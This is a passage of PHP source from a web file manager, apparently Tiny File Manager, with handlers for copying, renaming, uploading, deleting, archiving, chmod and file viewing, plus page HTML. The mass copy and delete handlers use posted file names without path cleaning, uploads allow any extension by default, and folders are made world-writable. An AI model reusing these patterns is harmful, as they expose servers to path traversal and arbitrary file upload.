if (!$move){ //Not move and to = from so duplicate
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
//Create new name for duplicate
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
// Check if a file with the duplicate name already exists, if so, make new name (edge case...)
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = $_GET['to'];
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) && $old != '' && $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
$dl = $_GET['dl'];
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' && is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// Upload
if (!empty($_FILES) && !FM_READONLY) {
$override_file_name = false;
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . basename($_REQUEST['fullpath']);
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if(file_exists ($fullPath) && !$override_file_name && !$chunks) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPath = $path . '/' . basename($_REQUEST['fullpath'], $ext_1) .'_'. date('ymdHis'). $ext_1;
}
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
while ($buff = fread($in, 4096)) { fwrite($out, $buff); }
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful",
'fullPath' => $fullPath
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
rename("{$fullPath}.part", $fullPath);
}
} else if (move_uploaded_file($tmp_name, $fullPath)) {
// Be sure that the file has been uploaded
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' && is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_GET['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
//TODO:: need to handle the error
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) && fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
//get the allowed file extensions
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION && $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 100%">
<button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: 10000000,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1, // does not support more than 1!
timeout: 120000,
maxFilesize: 10000000000,
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
<p>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<i class="fa fa-cog"></i> <?php echo lng('Settings') ?>
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-control" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<?php
//get ON/OFF and active class
function getChecked($conf, $val, $txt) {
if($conf== 1 && $val ==1) {
return $txt;
} else if($conf == '' && $val == '') {
return $txt;
} else {
return '';
}
}
?>
<div class="form-group row">
<label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
<input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
<input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
<input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
<input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
<input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
<input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
<input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
<input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-control" id="js-3-0" name="js-theme-3" style="width:100px;">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
<p>Author: Prasath Mani</p>
<p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file viewer
if (isset($_GET['view'])) {
$file = $_GET['view'];
$quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if(!$quickView) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
}
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<?php if(!$quickView) { ?>
<p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
File size: <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
MIME-type: <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) && $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
Files in archive: <?php echo $total_files ?><br>
Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b>
<b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b>
